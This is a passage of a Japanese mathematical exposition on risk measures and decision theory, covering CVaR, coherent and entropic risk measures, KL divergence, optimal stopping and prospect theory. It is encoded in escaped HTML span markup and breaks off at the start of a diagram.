&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{CVaR}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha}(X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha}^{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{VaR}_{u}(X) \, du = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{t &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ t + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[(X - t)_+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in (&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; は信頼水準、$&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot)_+$&lt;/span&gt;&lt;span&gt; は正部分を表す。意思決定問題は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{A}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{CVaR}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigl( L(X,a) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bigr)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;のように定式化され、最悪ケースを重視した保守的な方策を導く。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### コヒーレントリスク測度と表現定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;リスク測度 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}$&lt;/span&gt;&lt;span&gt; が以下の4条件を満たすとき、コヒーレントリスク測度と呼ばれる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**単調性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;X &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le Y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Rightarrow &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(Y)$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**変換不変性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X + c) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X) - c$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{R}$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**正斉次性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X)$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**劣加法性**&lt;/span&gt;&lt;span&gt;：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X + Y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(Y)$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;アーツネル・デルバエン表現定理により、任意のコヒーレントリスク測度は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{Q &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{Q}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_Q[-X]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と表現される。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{Q}$&lt;/span&gt;&lt;span&gt; は確率測度の凸集合（リスク中立測度集合）である。CVaRは代表的なコヒーレントリスク測度であり、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{Q} = \{Q: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dQ}{dP} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha}\}$&lt;/span&gt;&lt;span&gt; に対応する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### エントロピックリスク測度と情報理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;情報理論的アプローチでは、エントロピックリスク測度&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta(X) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[e^{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta X}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が用いられる。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; はリスク回避パラメータで、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; で期待値、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty$&lt;/span&gt;&lt;span&gt; で最悪ケースに収束する。相互情報量 $&lt;/span&gt;&lt;span&gt;I(X;Y) = H(X) - H(X|Y)$&lt;/span&gt;&lt;span&gt; を用いて、情報制約下での意思決定問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{P_{Y|X}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[L(X,Y)] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad I(X;Y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が定式化される。これはレート歪み理論と密接に関連する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### カルバック・ライブラー（KL）ダイバージェンスと最大エントロピー原理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率分布 $&lt;/span&gt;&lt;span&gt;P, Q$&lt;/span&gt;&lt;span&gt; の間のKLダイバージェンスは&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;D_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathrm&lt;/span&gt;&lt;span&gt;{KL}}(P \| Q) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dP}{dQ} \, dP = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_P&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{dP}{dQ}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で定義される。最大エントロピー原理では、制約条件 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_P[f_i(X)] = c_i$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots,m$&lt;/span&gt;&lt;span&gt;）の下でエントロピー $&lt;/span&gt;&lt;span&gt;H(P) = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int p(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;log p(x) \, dx$&lt;/span&gt;&lt;span&gt; を最大化する分布&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p^*(x) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{Z(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda)} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;exp&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^m &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i f_i(x)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;が得られる。ここで $&lt;/span&gt;&lt;span&gt;Z(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda)$&lt;/span&gt;&lt;span&gt; は正規化定数、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i$&lt;/span&gt;&lt;span&gt; はラグランジュ乗数である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### マルチンゲール理論と最適停止&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率過程 $&lt;/span&gt;&lt;span&gt;\{X_t\}$&lt;/span&gt;&lt;span&gt; がフィルトレーション $&lt;/span&gt;&lt;span&gt;\{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{F}_t\}$&lt;/span&gt;&lt;span&gt; に関するマルチンゲールであるとは、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[X_t | &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{F}_s] = X_s$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;s &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le t$&lt;/span&gt;&lt;span&gt;）を満たすことである。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適停止問題では、停止時刻 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau$&lt;/span&gt;&lt;span&gt; を選択して $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[X_&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau]$&lt;/span&gt;&lt;span&gt; を最大化する。スネル包絡線（Snell envelope）は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Y_t = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max\{X_t, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[Y_{t+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} | &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{F}_t]\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で定義され、最適停止時刻は $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;tau^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;inf\{t: Y_t = X_t\}$&lt;/span&gt;&lt;span&gt; で与えられる。連続時間では、最適停止境界 $&lt;/span&gt;&lt;span&gt;b(t)$&lt;/span&gt;&lt;span&gt; が自由境界問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}V + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &amp;amp; (x &amp;gt; b(t)) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;V(x,t) = g(x,t) &amp;amp; (x = b(t)) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial V}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x}(b(t), t) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial g}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x}(b(t), t) &amp;amp; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{(smooth fit)}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たす。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{L}$&lt;/span&gt;&lt;span&gt; は生成作用素、$&lt;/span&gt;&lt;span&gt;g$&lt;/span&gt;&lt;span&gt; は即時報酬である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### プロスペクト理論（Prospect Theory）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;行動経済学的アプローチでは、価値関数 $&lt;/span&gt;&lt;span&gt;v(x)$&lt;/span&gt;&lt;span&gt; と確率加重関数 $&lt;/span&gt;&lt;span&gt;w(p)$&lt;/span&gt;&lt;span&gt; を用いて期待効用の非線形化を行う：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;V = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i} w(p_i) \, v(x_i), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;v(x) =&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;(x-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &amp;amp; (x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda (&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu - x)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta} &amp;amp; (x &amp;lt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{cases}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mu$&lt;/span&gt;&lt;span&gt; は参照点、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda &amp;gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; は損失回避係数、$&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; は感応度係数である。確率加重は $&lt;/span&gt;&lt;span&gt;w(p) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{p^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma}}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(p^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma} + (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-p)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)^{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma}}$&lt;/span&gt;&lt;span&gt; などの形で記述され、人間の非線形な確率知覚（小確率の過大評価等）をモデル化する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 効用関数の性質&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;効用関数 $&lt;/span&gt;&lt;span&gt;u(x)$&lt;/span&gt;&lt;span&gt; は、以下の性質を持つことが多い：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**単調性**&lt;/span&gt;&lt;span&gt;：より多くの財や利益を好む（$&lt;/span&gt;&lt;span&gt;u'(x) &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リスク態度**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; リスク回避的：$&lt;/span&gt;&lt;span&gt;u''(x) &amp;lt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（凹関数、限界効用逓減）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; リスク中立的：$&lt;/span&gt;&lt;span&gt;u''(x) = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（線形関数）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; リスク愛好的：$&lt;/span&gt;&lt;span&gt;u''(x) &amp;gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（凸関数、限界効用逓増）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リスク態度の可視化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図3: リスク態度の可視化**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
